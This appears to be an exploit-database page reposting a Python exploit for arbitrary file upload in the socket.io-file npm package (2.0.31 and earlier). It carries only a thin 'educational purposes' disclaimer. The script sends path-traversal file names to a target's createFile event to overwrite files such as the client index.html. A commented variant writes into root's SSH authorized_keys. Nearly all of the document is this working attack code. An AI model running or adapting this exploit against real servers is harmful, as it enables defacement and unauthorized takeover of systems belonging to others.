Socket.iofile 2.0.31 arbitrary file upload Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-07-26 | Type : webapps | Platform : multiple
This exploit / vulnerability Socket.iofile 2.0.31 arbitrary file upload is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Socket.io-file 2.0.31 - Arbitrary File Upload
# Date: 2020-07-02
# Exploit Author: Cr0wTom
# Vendor Homepage: https://www.npmjs.com/package/socket.io-file
# Software Link: https://www.npmjs.com/package/socket.io-file/v/2.0.31
# Version: <= v2.0.31
# Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
# CVE: -

# Requirements: pip install socketIO-client-nexus==0.7.6

#!/usr/bin/env python

import sys
import json
import os
from socketIO_client_nexus import SocketIO, LoggingNamespace

def file_creation(RHOST, RPORT):
print ('Initiating connection...')
with SocketIO(RHOST, RPORT, LoggingNamespace) as socketIO:

print ('Creating file...')

# Example server running in /home/testuser/Documents/socket-app so customize the path appropriately
# Change the "name" option if you want to create an other file in an different path of the system
socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../client/index.html","size":1,"chunkSize":10240,"sent":0,"data":{}})

# Example for server running with root access:
# socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../../../../../root/.ssh/authorized_keys","size":1,"chunkSize":10240,"sent":0,"data":{}})

print ('Writing data to file...')

# Add the data you want to get written to the file
data = "Exploited by Cr0wTom"
json_string = json.dumps(data)
socketIO.once("socket.io-file::request::u_0", on_aaa_response)
socketIO.emit("socket.io-file::stream::u_0", json_string)

def on_aaa_response(*args):
print('on_aaa_response', args)

def print_usage():
print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')
print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')
print ('Usage: python3 exploit.py <RHOST> <RPORT>')
print ('RHOST The target host IP address or domain.')
print ('RPORT The target host port number of the nodejs server.')

if __name__ == '__main__':

# ensure we have at least an IP and Port
if len(sys.argv) < 3:
print_usage()
sys.exit(1)

print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')
print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')
file_creation(sys.argv[1], sys.argv[2])